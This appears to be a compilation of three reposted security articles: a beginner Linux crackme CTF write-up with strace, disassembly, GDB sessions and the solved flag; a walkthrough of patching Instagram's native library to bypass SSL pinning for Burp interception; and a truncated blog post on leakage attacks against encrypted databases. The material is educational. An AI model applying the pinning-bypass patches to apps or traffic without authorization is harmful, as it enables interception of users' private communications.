PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xf7eb7000 close(3) = 0 set_thread_area({entry_number=-1, base_addr=0xf7ef10c0, limit=0x0fffff, seg_32bit=1, contents=0, read_exec_only=0, limit_in_pages=1, seg_not_present=0, useable=1}) = 0 (entry_number=12) mprotect(0xf7eb4000, 8192, PROT_READ) = 0 mprotect(0x5664d000, 4096, PROT_READ) = 0 mprotect(0xf7f1e000, 4096, PROT_READ) = 0 munmap(0xf7eba000, 220471) = 0 fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x2), ...}) = 0 brk(NULL) = 0x56f14000 brk(0x56f35000) = 0x56f35000 brk(0x56f36000) = 0x56f36000 write(1, "\n", 1 ) = 1 write(1, "[+] No flag for you. [+]\n", 25[+] No flag for you. [+] ) = 25 exit_group(26) = ? +++ exited with 26 +++ To get a better understanding, we can use ltrace to trace the library calls made by demangling C++ function names. We can see there is a string length check being done. # ltrace -i -C ./nix_5744af788e6cbdb29bb41e8b0e5f3cd5 aaaaaaaa [0x565570e1] __libc_start_main(0x565571e9, 2, 0xffe3a584, 0x56557400 <unfinished ...> [0x56557249] strlen("aaaaaaaa") = 8 [0x565572ca] puts("\n[+] No flag for you. [+]" [+] No flag for you. [+] ) = 26 [0xffffffffffffffff] +++ exited (status 26) +++ Disassembling the Text Section Let’s have a look at the .text section’s disassembly and try to understand. In this binary the symbols are not stripped so we can see the function names which makes it easier to understand. If you can read assembly by now you will have figure out what is happening. If not let’s do some live debugging and try to understand better. root@Omega:/mnt/hgfs/shared/Linux RE# objdump -D -M intel -j .text nix_5744af788e6cbdb29bb41e8b0e5f3cd5 nix_5744af788e6cbdb29bb41e8b0e5f3cd5: file format elf32-i386 Disassembly of section .text: 000010b0 <_start>: 10b0: 31 ed xor ebp,ebp 10b2: 5e pop esi 10b3: 89 e1 mov ecx,esp 10b5: 83 e4 f0 and esp,0xfffffff0 10b8: 50 push eax 10b9: 54 push esp 10ba: 52 push edx 10bb: e8 22 00 00 00 call 10e2 <_start+0x32> 10c0: 81 c3 40 2f 00 00 add ebx,0x2f40 10c6: 8d 83 60 d4 ff ff lea eax,[ebx-0x2ba0] 10cc: 50 push eax 10cd: 8d 83 00 d4 ff ff lea eax,[ebx-0x2c00] 10d3: 50 push eax 10d4: 51 push ecx 10d5: 56 push esi 10d6: ff b3 f8 ff ff ff push DWORD PTR [ebx-0x8] 10dc: e8 9f ff ff ff call 1080 <__libc_start_main@plt> 10e1: f4 hlt 10e2: 8b 1c 24 mov ebx,DWORD PTR [esp] 10e5: c3 ret 10e6: 66 90 xchg ax,ax 10e8: 66 90 xchg ax,ax 10ea: 66 90 xchg ax,ax 10ec: 66 90 xchg ax,ax 10ee: 66 90 xchg ax,ax ... Output Omitted ... 000011e9 <main>: 11e9: 8d 4c 24 04 lea ecx,[esp+0x4] 11ed: 83 e4 f0 and esp,0xfffffff0 11f0: ff 71 fc push DWORD PTR [ecx-0x4] 11f3: 55 push ebp 11f4: 89 e5 mov ebp,esp 11f6: 56 push esi 11f7: 53 push ebx 11f8: 51 push ecx 11f9: 83 ec 1c sub esp,0x1c 11fc: e8 ef fe ff ff call 10f0 <__x86.get_pc_thunk.bx> 1201: 81 c3 ff 2d 00 00 add ebx,0x2dff 1207: 89 ce mov esi,ecx 1209: c7 45 e4 00 00 00 00 mov DWORD PTR [ebp-0x1c],0x0 1210: c7 45 dc 07 00 00 00 mov DWORD PTR [ebp-0x24],0x7 1217: 83 3e 02 cmp DWORD PTR [esi],0x2 121a: 74 1c je 1238 <main+0x4f> 121c: 83 ec 0c sub esp,0xc 121f: 8d 83 08 e0 ff ff lea eax,[ebx-0x1ff8] 1225: 50 push eax 1226: e8 15 fe ff ff call 1040 <printf@plt> 122b: 83 c4 10 add esp,0x10 122e: 83 ec 0c sub esp,0xc 1231: 6a 01 push 0x1 1233: e8 28 fe ff ff call 1060 <exit@plt> 1238: 8b 46 04 mov eax,DWORD PTR [esi+0x4] 123b: 83 c0 04 add eax,0x4 123e: 8b 00 mov eax,DWORD PTR [eax] 1240: 83 ec 0c sub esp,0xc 1243: 50 push eax 1244: e8 27 fe ff ff call 1070 <strlen@plt> 1249: 83 c4 10 add esp,0x10 124c: 83 f8 0f cmp eax,0xf 124f: 76 1c jbe 126d <main+0x84> 1251: 83 ec 0c sub esp,0xc 1254: 8d 83 20 e0 ff ff lea eax,[ebx-0x1fe0] 125a: 50 push eax 125b: e8 f0 fd ff ff call 1050 <puts@plt> 1260: 83 c4 10 add esp,0x10 1263: 83 ec 0c sub esp,0xc 1266: 6a 01 push 0x1 1268: e8 f3 fd ff ff call 1060 <exit@plt> 126d: c7 45 e0 00 00 00 00 mov DWORD PTR [ebp-0x20],0x0 1274: eb 1a jmp 1290 <main+0xa7> 1276: 8b 46 04 mov eax,DWORD PTR [esi+0x4] 1279: 83 c0 04 add eax,0x4 127c: 8b 10 mov edx,DWORD PTR [eax] 127e: 8b 45 e0 mov eax,DWORD PTR [ebp-0x20] 1281: 01 d0 add eax,edx 1283: 0f b6 00 movzx eax,BYTE PTR [eax] 1286: 0f be c0 movsx eax,al 1289: 01 45 e4 add DWORD PTR [ebp-0x1c],eax 128c: 83 45 e0 01 add DWORD PTR [ebp-0x20],0x1 1290: 8b 45 e0 mov eax,DWORD PTR [ebp-0x20] 1293: 3b 45 dc cmp eax,DWORD PTR [ebp-0x24] 1296: 7c de jl 1276 <main+0x8d> 1298: 81 7d e4 21 03 00 00 cmp DWORD PTR [ebp-0x1c],0x321 129f: 75 1a jne 12bb <main+0xd2> 12a1: e8 33 00 00 00 call 12d9 <comp_key> 12a6: 83 ec 08 sub esp,0x8 12a9: 50 push eax 12aa: 8d 83 3c e0 ff ff lea eax,[ebx-0x1fc4] 12b0: 50 push eax 12b1: e8 8a fd ff ff call 1040 <printf@plt> 12b6: 83 c4 10 add esp,0x10 12b9: eb 12 jmp 12cd <main+0xe4> 12bb: 83 ec 0c sub esp,0xc 12be: 8d 83 5e e0 ff ff lea eax,[ebx-0x1fa2] 12c4: 50 push eax 12c5: e8 86 fd ff ff call 1050 <puts@plt> 12ca: 83 c4 10 add esp,0x10 12cd: 90 nop 12ce: 8d 65 f4 lea esp,[ebp-0xc] 12d1: 59 pop ecx 12d2: 5b pop ebx 12d3: 5e pop esi 12d4: 5d pop ebp 12d5: 8d 61 fc lea esp,[ecx-0x4] 12d8: c3 ret 000012d9 <comp_key>: 12d9: 55 push ebp 12da: 89 e5 mov ebp,esp 12dc: 57 push edi 12dd: 56 push esi 12de: 53 push ebx 12df: 83 ec 7c sub esp,0x7c 12e2: e8 09 fe ff ff call 10f0 <__x86.get_pc_thunk.bx> 12e7: 81 c3 19 2d 00 00 add ebx,0x2d19 12ed: c7 45 e4 00 00 00 00 mov DWORD PTR [ebp-0x1c],0x0 12f4: c7 45 a8 4c 00 00 00 mov DWORD PTR [ebp-0x58],0x4c 12fb: c7 45 ac 33 00 00 00 mov DWORD PTR [ebp-0x54],0x33 1302: c7 45 b0 74 00 00 00 mov DWORD PTR [ebp-0x50],0x74 1309: c7 45 b4 73 00 00 00 mov DWORD PTR [ebp-0x4c],0x73 1310: c7 45 b8 5f 00 00 00 mov DWORD PTR [ebp-0x48],0x5f 1317: c7 45 bc 67 00 00 00 mov DWORD PTR [ebp-0x44],0x67 131e: c7 45 c0 33 00 00 00 mov DWORD PTR [ebp-0x40],0x33 1325: c7 45 c4 74 00 00 00 mov DWORD PTR [ebp-0x3c],0x74 132c: c7 45 c8 5f 00 00 00 mov DWORD PTR [ebp-0x38],0x5f 1333: c7 45 cc 69 00 00 00 mov DWORD PTR [ebp-0x34],0x69 133a: c7 45 d0 6e 00 00 00 mov DWORD PTR [ebp-0x30],0x6e 1341: c7 45 d4 32 00 00 00 mov DWORD PTR [ebp-0x2c],0x32 1348: c7 45 d8 5f 00 00 00 mov DWORD PTR [ebp-0x28],0x5f 134f: c7 45 dc 52 00 00 00 mov DWORD PTR [ebp-0x24],0x52 1356: c7 45 e0 33 00 00 00 mov DWORD PTR [ebp-0x20],0x33 135d: 8b 55 e0 mov edx,DWORD PTR [ebp-0x20] 1360: 8b 75 dc mov esi,DWORD PTR [ebp-0x24] 1363: 8b 45 d8 mov eax,DWORD PTR [ebp-0x28] 1366: 89 45 a4 mov DWORD PTR [ebp-0x5c],eax 1369: 8b 4d d4 mov ecx,DWORD PTR [ebp-0x2c] 136c: 89 4d a0 mov DWORD PTR [ebp-0x60],ecx 136f: 8b 7d d0 mov edi,DWORD PTR [ebp-0x30] 1372: 89 7d 9c mov DWORD PTR [ebp-0x64],edi 1375: 8b 45 cc mov eax,DWORD PTR [ebp-0x34] 1378: 89 45 98 mov DWORD PTR [ebp-0x68],eax 137b: 8b 4d c8 mov ecx,DWORD PTR [ebp-0x38] 137e: 89 4d 94 mov DWORD PTR [ebp-0x6c],ecx 1381: 8b 7d c4 mov edi,DWORD PTR [ebp-0x3c] 1384: 89 7d 90 mov DWORD PTR [ebp-0x70],edi 1387: 8b 45 c0 mov eax,DWORD PTR [ebp-0x40] 138a: 89 45 8c mov DWORD PTR [ebp-0x74],eax 138d: 8b 4d bc mov ecx,DWORD PTR [ebp-0x44] 1390: 89 4d 88 mov DWORD PTR [ebp-0x78],ecx 1393: 8b 7d b8 mov edi,DWORD PTR [ebp-0x48] 1396: 89 7d 84 mov DWORD PTR [ebp-0x7c],edi 1399: 8b 45 b4 mov eax,DWORD PTR [ebp-0x4c] 139c: 89 45 80 mov DWORD PTR [ebp-0x80],eax 139f: 8b 7d b0 mov edi,DWORD PTR [ebp-0x50] 13a2: 8b 4d ac mov ecx,DWORD PTR [ebp-0x54] 13a5: 8b 45 a8 mov eax,DWORD PTR [ebp-0x58] 13a8: 83 ec 0c sub esp,0xc 13ab: 52 push edx 13ac: 56 push esi 13ad: ff 75 a4 push DWORD PTR [ebp-0x5c] 13b0: ff 75 a0 push DWORD PTR [ebp-0x60] 13b3: ff 75 9c push DWORD PTR [ebp-0x64] 13b6: ff 75 98 push DWORD PTR [ebp-0x68] 13b9: ff 75 94 push DWORD PTR [ebp-0x6c] 13bc: ff 75 90 push DWORD PTR [ebp-0x70] 13bf: ff 75 8c push DWORD PTR [ebp-0x74] 13c2: ff 75 88 push DWORD PTR [ebp-0x78] 13c5: ff 75 84 push DWORD PTR [ebp-0x7c] 13c8: ff 75 80 push DWORD PTR [ebp-0x80] 13cb: 57 push edi 13cc: 51 push ecx 13cd: 50 push eax 13ce: 8d 83 78 e0 ff ff lea eax,[ebx-0x1f88] 13d4: 50 push eax 13d5: 8d 83 30 00 00 00 lea eax,[ebx+0x30] 13db: 50 push eax 13dc: e8 af fc ff ff call 1090 <sprintf@plt> 13e1: 83 c4 50 add esp,0x50 13e4: 8d 83 30 00 00 00 lea eax,[ebx+0x30] 13ea: 8d 65 f4 lea esp,[ebp-0xc] 13ed: 5b pop ebx 13ee: 5e pop esi 13ef: 5f pop edi 13f0: 5d pop ebp 13f1: c3 ret 13f2: 66 90 xchg ax,ax 13f4: 66 90 xchg ax,ax 13f6: 66 90 xchg ax,ax 13f8: 66 90 xchg ax,ax 13fa: 66 90 xchg ax,ax 13fc: 66 90 xchg ax,ax 13fe: 66 90 xchg ax,ax ... Output Omitted ... Debugging Live I will use GDB-Peda for this which makes it easier to understand. Let’s first check the functions in the binary. We can see functions such as main, comp_key gdb-peda$ info functions All defined functions: Non-debugging symbols: 0x00001000 _init 0x00001040 printf@plt 0x00001050 puts@plt 0x00001060 exit@plt 0x00001070 strlen@plt 0x00001080 __libc_start_main@plt 0x00001090 sprintf@plt 0x000010a0 __cxa_finalize@plt 0x000010a8 __gmon_start__@plt 0x000010b0 _start 0x000010f0 __x86.get_pc_thunk.bx 0x00001100 deregister_tm_clones 0x00001140 register_tm_clones 0x00001190 __do_global_dtors_aux 0x000011e0 frame_dummy 0x000011e5 __x86.get_pc_thunk.dx 0x000011e9 main 0x000012d9 comp_key 0x00001400 __libc_csu_init 0x00001460 __libc_csu_fini 0x00001464 _fini This is how you debug a program. We will hit a break point at the main function. Use n to step and ni to step each instruction. If you don’t know assembly, in a basic challenge like this, look for jumps, compare instructions. Try to understand what check the program does and build the logic in your mind. There are many good crash courses on assembly and I would recommend reading few. gdb-peda$ break main Breakpoint 1 at 0x11f9 gdb-peda$ run aaaaaaaa Starting program: /mnt/hgfs/shared/Linux RE/nix_5744af788e6cbdb29bb41e8b0e5f3cd5 aaaaaaaa [----------------------------------registers-----------------------------------] EAX: 0xf7f95dd8 --> 0xffffd2f0 --> 0xffffd4d1 ("NVM_DIR=/root/.nvm") EBX: 0x0 ECX: 0xffffd250 --> 0x2 EDX: 0xffffd274 --> 0x0 ESI: 0xf7f94000 --> 0x1d5d8c EDI: 0x0 EBP: 0xffffd238 --> 0x0 ESP: 0xffffd22c --> 0xffffd250 --> 0x2 EIP: 0x565561f9 (<main+16>: sub esp,0x1c) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x565561f6 <main+13>: push esi 0x565561f7 <main+14>: push ebx 0x565561f8 <main+15>: push ecx => 0x565561f9 <main+16>: sub esp,0x1c 0x565561fc <main+19>: call 0x565560f0 <__x86.get_pc_thunk.bx> 0x56556201 <main+24>: add ebx,0x2dff 0x56556207 <main+30>: mov esi,ecx 0x56556209 <main+32>: mov DWORD PTR [ebp-0x1c],0x0 [------------------------------------stack-------------------------------------] 0000| 0xffffd22c --> 0xffffd250 --> 0x2 0004| 0xffffd230 --> 0x0 0008| 0xffffd234 --> 0xf7f94000 --> 0x1d5d8c 0012| 0xffffd238 --> 0x0 0016| 0xffffd23c --> 0xf7dd79a1 (<__libc_start_main+241>: add esp,0x10) 0020| 0xffffd240 --> 0xf7f94000 --> 0x1d5d8c 0024| 0xffffd244 --> 0xf7f94000 --> 0x1d5d8c 0028| 0xffffd248 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x565561f9 in main () 1: main = {<text variable, no debug info>} 0x565561e9 <main> 2: puts = {<text variable, no debug info>} 0xf7e25e40 <puts> gdb-peda$ If you play with gdb for a little you realize how it works. Let’s try to understand the logic part by part. The program first tries to compare the number of arguments. It’s stored in ecx register and moved to esi and it’s used to compare the value with 0x2. You can use gdb to go through the assembly instructions and understand better. 0x56556207 <+30>: mov esi,ecx 0x56556209 <+32>: mov DWORD PTR [ebp-0x1c],0x0 0x56556210 <+39>: mov DWORD PTR [ebp-0x24],0x7 0x56556217 <+46>: cmp DWORD PTR [esi],0x2 0x5655621a <+49>: je 0x56556238 <main+79> 0x5655621c <+51>: sub esp,0xc 0x5655621f <+54>: lea eax,[ebx-0x1ff8] 0x56556225 <+60>: push eax 0x56556226 <+61>: call 0x56556040 <printf@plt> 0x5655622b <+66>: add esp,0x10 0x5655622e <+69>: sub esp,0xc 0x56556231 <+72>: push 0x1 0x56556233 <+74>: call 0x56556060 <exit@plt> We can write pseudo code like this. 1 2 3 4 if(argc != 2) { printf("Usage: script.exe <key>"); exit(1); } 0x56556238 <+79>: mov eax,DWORD PTR [esi+0x4] 0x5655623b <+82>: add eax,0x4 0x5655623e <+85>: mov eax,DWORD PTR [eax] 0x56556240 <+87>: sub esp,0xc 0x56556243 <+90>: push eax 0x56556244 <+91>: call 0x56556070 <strlen@plt> 0x56556249 <+96>: add esp,0x10 0x5655624c <+99>: cmp eax,0xf 0x5655624f <+102>: jbe 0x5655626d <main+132> 0x56556251 <+104>: sub esp,0xc 0x56556254 <+107>: lea eax,[ebx-0x1fe0] 0x5655625a <+113>: push eax 0x5655625b <+114>: call 0x56556050 <puts@plt> 0x56556260 <+119>: add esp,0x10 0x56556263 <+122>: sub esp,0xc 0x56556266 <+125>: push 0x1 0x56556268 <+127>: call 0x56556060 <exit@plt> After translating: 1 2 3 4 if(strlen(argv[1]) > 15) { puts("Length of argv[1] too long."); exit(1); } If you check this code we can see there is a loop going through iterating each character of our supplied string. 0x5655626d <+132>: mov DWORD PTR [ebp-0x20],0x0 0x56556274 <+139>: jmp 0x56556290 <main+167> 0x56556276 <+141>: mov eax,DWORD PTR [esi+0x4] 0x56556279 <+144>: add eax,0x4 0x5655627c <+147>: mov edx,DWORD PTR [eax] 0x5655627e <+149>: mov eax,DWORD PTR [ebp-0x20] 0x56556281 <+152>: add eax,edx 0x56556283 <+154>: movzx eax,BYTE PTR [eax] 0x56556286 <+157>: movsx eax,al 0x56556289 <+160>: add DWORD PTR [ebp-0x1c],eax 0x5655628c <+163>: add DWORD PTR [ebp-0x20],0x1 0x56556290 <+167>: mov eax,DWORD PTR [ebp-0x20] 0x56556293 <+170>: cmp eax,DWORD PTR [ebp-0x24] 0x56556296 <+173>: jl 0x56556276 <main+141> 0x56556298 <+175>: cmp DWORD PTR [ebp-0x1c],0x321 0x5655629f <+182>: jne 0x565562bb <main+210> 0x565562a1 <+184>: call 0x565562d9 <comp_key> 0x565562a6 <+189>: sub esp,0x8 0x565562a9 <+192>: push eax 0x565562aa <+193>: lea eax,[ebx-0x1fc4] 0x565562b0 <+199>: push eax 0x565562b1 <+200>: call 0x56556040 <printf@plt> 0x565562b6 <+205>: add esp,0x10 0x565562b9 <+208>: jmp 0x565562cd <main+228> 0x565562bb <+210>: sub esp,0xc 0x565562be <+213>: lea eax,[ebx-0x1fa2] 0x565562c4 <+219>: push eax 0x565562c5 <+220>: call 0x56556050 <puts@plt> 0x565562ca <+225>: add esp,0x10 0x565562cd <+228>: nop 0x565562ce <+229>: lea esp,[ebp-0xc] 0x565562d1 <+232>: pop ecx 0x565562d2 <+233>: pop ebx 0x565562d3 <+234>: pop esi 0x565562d4 <+235>: pop ebp 0x565562d5 <+236>: lea esp,[ecx-0x4] 0x565562d8 <+239>: ret Up to how many characters does it loop? Here’s how I found it. Basically, our password must be of 7 characters in length. [----------------------------------registers-----------------------------------] EAX: 0x6 EBX: 0x56559000 --> 0x3efc ECX: 0x6 EDX: 0xffffd4c6 ("1234567890") ESI: 0xffffd250 --> 0x2 EDI: 0x0 EBP: 0xffffd238 --> 0x0 ESP: 0xffffd210 --> 0xf7f943fc --> 0xf7f95200 --> 0x0 EIP: 0x56556293 (<main+170>: cmp eax,DWORD PTR [ebp-0x24]) EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x56556289 <main+160>: add DWORD PTR [ebp-0x1c],eax 0x5655628c <main+163>: add DWORD PTR [ebp-0x20],0x1 0x56556290 <main+167>: mov eax,DWORD PTR [ebp-0x20] => 0x56556293 <main+170>: cmp eax,DWORD PTR [ebp-0x24] 0x56556296 <main+173>: jl 0x56556276 <main+141> 0x56556298 <main+175>: cmp DWORD PTR [ebp-0x1c],0x321 0x5655629f <main+182>: jne 0x565562bb <main+210> 0x565562a1 <main+184>: call 0x565562d9 <comp_key> [------------------------------------stack-------------------------------------] 0000| 0xffffd210 --> 0xf7f943fc --> 0xf7f95200 --> 0x0 0004| 0xffffd214 --> 0x7 0008| 0xffffd218 --> 0x6 0012| 0xffffd21c --> 0x135 0016| 0xffffd220 --> 0x2 0020| 0xffffd224 --> 0xffffd2e4 --> 0xffffd487 ("/mnt/hgfs/shared/Linux RE/nix_5744af788e6cbdb29bb41e8b0e5f3cd5") 0024| 0xffffd228 --> 0xffffd2f0 --> 0xffffd4d1 ("NVM_DIR=/root/.nvm") 0028| 0xffffd22c --> 0xffffd250 --> 0x2 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x56556293 in main () gdb-peda$ print $ebp-0x24 $24 = (void *) 0xffffd214 gdb-peda$ x/x 0xffffd214 0xffffd214: 0x00000007 After translating to high-level code, it would look something similar to this. 1 2 3 for (i = 0; i < 7; i++) value += argv[1]; if (value != 801) return puts("\n[+] No flag for you. [+]"); return printf("[+] The flag is: SAYCURE{%s} [+]\n", comp_key()); Basically, the sum of each byte of our password must be equal to 801. Givens us 7 characters, we can sum up like this. You can use any calculation which sums up to 801. After this check is done it calls the comp_key function and prints out the flag. We don’t really need to dig the com_key function as it directly gives us the flag. 114 * 6 + 177 = 801 Let’s check those characters in the ASCII table. 114 is ‘r’ and 117 is ‘u’. Dec Hex Dec Hex Dec Hex Dec Hex Dec Hex Dec Hex Dec Hex Dec Hex 0 00 NUL 16 10 DLE 32 20 48 30 0 64 40 @ 80 50 P 96 60 ` 112 70 p 1 01 SOH 17 11 DC1 33 21 ! 49 31 1 65 41 A 81 51 Q 97 61 a 113 71 q 2 02 STX 18 12 DC2 34 22 " 50 32 2 66 42 B 82 52 R 98 62 b 114 72 r 3 03 ETX 19 13 DC3 35 23 # 51 33 3 67 43 C 83 53 S 99 63 c 115 73 s 4 04 EOT 20 14 DC4 36 24 $ 52 34 4 68 44 D 84 54 T 100 64 d 116 74 t 5 05 ENQ 21 15 NAK 37 25 % 53 35 5 69 45 E 85 55 U 101 65 e 117 75 u 6 06 ACK 22 16 SYN 38 26 & 54 36 6 70 46 F 86 56 V 102 66 f 118 76 v 7 07 BEL 23 17 ETB 39 27 ' 55 37 7 71 47 G 87 57 W 103 67 g 119 77 w 8 08 BS 24 18 CAN 40 28 ( 56 38 8 72 48 H 88 58 X 104 68 h 120 78 x 9 09 HT 25 19 EM 41 29 ) 57 39 9 73 49 I 89 59 Y 105 69 i 121 79 y 10 0A LF 26 1A SUB 42 2A * 58 3A : 74 4A J 90 5A Z 106 6A j 122 7A z 11 0B VT 27 1B ESC 43 2B + 59 3B ; 75 4B K 91 5B [ 107 6B k 123 7B { 12 0C FF 28 1C FS 44 2C , 60 3C < 76 4C L 92 5C \ 108 6C l 124 7C | 13 0D CR 29 1D GS 45 2D - 61 3D = 77 4D M 93 5D ] 109 6D m 125 7D } 14 0E SO 30 1E RS 46 2E . 62 3E > 78 4E N 94 5E ^ 110 6E n 126 7E ~ 15 0F SI 31 1F US 47 2F / 63 3F ? 79 4F O 95 5F _ 111 6F o 127 7F DEL That’s it! We just solved a very simple binary # ./nix_5744af788e6cbdb29bb41e8b0e5f3cd5 rrrrrru [+] The flag is: SAYCURE{L3ts_g3t_in2_R3} [+] Check out my previous CTF solution posts here Birthday Crackme/ Rootme No software breakpoints Cracking Challenge Solving Root-me Ptrace challenge https://asciinema.org/~Osanda References http://www.cirosantilli.com/elf-hello-world/ Sursa: https://osandamalith.com/2019/02/11/linux-reverse-engineering-ctfs-for-beginners/

How to bypass Instagram SSL Pinning on Android (v78) 9 February 2019 Marco Genovese My goal was to take a look at the HTTP requests that Instagram was making but, after setting an HTTP proxy, I couldn’t see anything. Turns out that Instagram is protected against MITM attacks using a technique called certificate validation (SSL Pinning) which compares the certificate provided by server in the TLS handshake with a trusted one embedded in APK. Instagram refuses to complete TLS handshake if certificate doesn’t match This article is based on Instagram APK version 78.0.0.11.104 (x86) which you can download here. I am also using an Android 8.0 emulator with adb running as root. Disclaimer The sole purpose of this article is educational and for testing of your own applications. This is not intended for piracy or any other non-legal use. Setting up Burp to work with TLS 1.3 Facebook deployed TLS 1.3 at very large scale with their open source library Fizz. It doesn’t surprise me that they decided to use it on their Instagram application to make internet traffic more secure. This time I decided to use Burp to capture requests that Instagram app is making. After setting up the proxy, some weird alert appears in the Alerts tab. What is this weird “no cipher suites in common” message? Looks like this version of Burp does not support TLSv1.3 cipher suites. We can verify this by going to Project Options > SSL and list all ciphers. A simple solution to this problem is to run Burp with the latest version of JDK. At that point, you can run burpsuite_community.jar with the newly extracted java binary taken from JDK: ./Downloads/jdk-11.0.2.jdk/Contents/Home/bin/java -jar burpsuite_community.jar This time after opening Instagram app we get a different message from Alerts tab. Now we get a different (fatal) alert: bad_certificate which tells us that the certificate provided by Burp is not accepted by the client. We have to dig deeper into the app internals to get around this issue. Patching Native Layer Android applications can interact with native (C/C++) code using Java Native Interface (JNI). You can read more about it here. Instagram loads many native libraries from /data/data/com.instagram.android/lib-zstd which is created after the first app launch. ~ adb pull /data/data/com.instagram.android/lib-zstd ~ grep lib-zstd -re fizz Binary file lib-zstd/libliger.so matches Bingo! Let’s launch IDA Pro to take a look at this shared object file. After reading source code, I spotted the exception which was causing this bad_certificate issue. fizz > ClientProtocol.cpp Let’s search for strings using IDA (View > Open Subviews > Strings). At offset 002831F4 on read-only section (.rodata) we can see the constant we were looking for. IDA is pointing us to the subroutine sub_3C864 which using it. After analysing the flow, we can apply a simple patch at offset 0003CD4D patching JNZ to JZ so exception is no longer thrown! Let’s apply the patches (Edit > Patch Program > Apply patches to input file) and push the newly patched libliger.so to the device. adb push libliger.so /data/data/com.instagram.android/lib-zstd/libliger.so Now Burp complains with a weird alert: That’s weird. Analysing traffic with Wireshark didn’t help much and gave me no additional clues. Next step was to debug Android smali code using Android Studio (you can find an useful article here). I followed this StackOverflow reply to catch any exception and this shows up shortly after: This looks interesting. Let’s go back to IDA and search for the string constant “openssl cert verify error“. Match on offset 00295732 used by subroutine sub_176434. Similarly to what we’ve dove before, we can patch this subroutine to avoid throwing this exception. Patch JNZ to JZ, apply to input file and open Burp. Jackpot! We can now be the man in the middle and take a look at the “private” Instagram API. Sursa: https://plainsec.org/how-to-bypass-instagram-ssl-pinning-on-android-v78/

Attack of the week: searchable encryption and the ever-expanding leakage function A few days ago I had the pleasure of hosting Kenny Paterson, who braved snow and historic cold (by Baltimore standards) to come talk to us about encrypted databases. Kenny’s newest result is with first authors Paul Grubbs, Marie-Sarah Lacharité and Brice Minaud (let’s call it GLMP). It isn’t so much about building encrypted databases, as it is about the risks of building them badly. And — for reasons I will get into shortly — there have been a lot of badly-constructed encrypted database schemes going around. What GLMP point out is that this weakness isn’t so much a knock against the authors of those schemes, but rather, an indication that they may just be trying to do the impossible. Hopefully this is a good enough start to get you drawn in. Which is excellent, because I’m going to need to give you a lot of background. What’s an “encrypted” database, and why are they a problem? Databases (both relational and otherwise) are a pretty important part of the computing experience. Modern systems make vast use of databases and their accompanying query technology in order to power just about every software application we depend on. Because these databases often contain sensitive information, there has been a strong push to secure that data. A key goal is to encrypt the contents of the database, so that a malicious database operator (or a hacker) can’t get access to it if they compromise a single machine. If we lived in a world where security was all that mattered, the encryption part would be pretty easy: database records are, after all, just blobs of data — and we know how to encrypt those. So we could generate a cryptographic key on our local machine, encrypt the data before we upload it to a vulnerable database server, and just keep that key locally on our client computer. Voila: we’re safe against a database hack! The problem with this approach is that encrypting the database records leaves us with a database full of opaque, unreadable encrypted junk. Since we have the decryption key on our client, we can decrypt and read those records after we’ve downloaded them. But this approach completely disables one of the most useful features of modern databases: the ability for the database server itself to search (or query) the database for specific records, so that the client doesn’t have to. Unfortunately, standard encryption borks search capability pretty badly. If I want to search a database for, say, employees whose salary is between $50,000 and $100,000, my database is helpless: all it sees is row after row of encrypted gibberish. In the worst case, the client will have to download all of the data rows and search them itself — yuck. This has led to much wailing and gnashing of teeth in the database community. As a result, many cryptographers (and a distressing number of non-cryptographers) have tried to fix the problem with “fancier” crypto. This has not gone very well. It would take me a hundred years to detail all of various solutions that have been put forward. But let me just hit a few of the high points: Some proposals have suggested using deterministic encryption to encrypt database records. Deterministic encryption ensures that a given plaintext will always encrypt to a single ciphertext value, at least for a given key. This enables exact-match queries: a client can simply encrypt the exact value (“John Smith”) that it’s searching for, and ask the database to identify encrypted rows that match it. Of course, exact-match queries don’t support more powerful features. Most databases also need to support range queries. One approach to this is something called order revealing encryption (or its weaker sibling, order preserving encryption). These do exactly what they say they do: they allow the database to compare two encrypted records to determine which plaintext is greater than the other. Some people have proposed to use trusted hardware to solve these problems in a “simpler” way, but as we like to say in cryptography: if we actually had trusted hardware, nobody would pay our salaries. And, speaking more seriously, even hardware might not stop the leakage-based attacks discussed below. This summary barely scratches the surface of this problem, and frankly you don’t need to know all the details for the purpose of this blog post. What you do need to know is that each of the above proposals entails has some degree of “leakage”. Namely, if I’m an attacker who is able to compromise the database, both to see its contents and to see how it responds when you (a legitimate user) makes a query, then I can learn something about the data being queried. What some examples of leakage, and what’s a leakage function? Leakage is a (nearly) unavoidable byproduct of an encrypted database that supports queries. It can happen when the attacker simply looks at the encrypted data, as she might if she was able to dump the contents of your database and post them on the dark web. But a more powerful type of leakage occurs when the attacker is able to compromise your database server and observe the query interaction between legitimate client(s) and your database. Take deterministic encryption, for instance. Deterministic encryption has the very useful, but also unpleasant feature that the same plaintext will always encrypt to the same ciphertext. This leads to very obvious types of leakage, in the sense that an attacker can see repeated records in the dataset itself. Extending this to the active setting, if a legitimate client queries on a specific encrypted value, the attacker can see exactly which records match the attacker’s encrypted value. She can see how often each value occurs, which gives and indication of what value it might be (e.g., the last name “Smith” is more common than “Azriel”.) All of these vectors leak valuable information to an attacker. Other systems leak more. Order-preserving encryption leaks the exact order of a list of underlying records, because it causes the resulting ciphertexts to have the same order. This is great for searching and sorting, but unfortunately it leaks tons of useful information to an attacker. Indeed, researchers have shown that, in real datasets, an ordering can be combined with knowledge about the record distribution in order to (approximately) reconstruct the contents of an encrypted database. Fancier order-revealing encryption schemes aren’t quite so careless with your confidentiality: they enable the legitimate client to perform range queries, but without leaking the full ordering so trivially. This approach can leak less information: but a persistent attacker will still learn some data from observing a query and its response — at a minimum, she will learn which rows constitute the response to a query, since the database must pack up the matching records and send them over to the client. If you’re having trouble visualizing what this last type of leakage might look like, here’s a picture that shows what an attacker might see when a user queries an unencrypted database vs. what the attacker might see with a really “good” encrypted database that supports range queries: So the TL;DR here is that many encrypted database schemes have some sort of “leakage”, and this leakage can potentially reveal information about (a) what a client is querying on, and (b) what data is in the actual database. But surely cryptographers don’t build leaky schemes? Sometimes the perfect is the enemy of the good. Cryptographers could spend a million years stressing themselves to death over the practical impact of different types of leakage. They could also try to do things perfectly using expensive techniques like fully-homomorphic 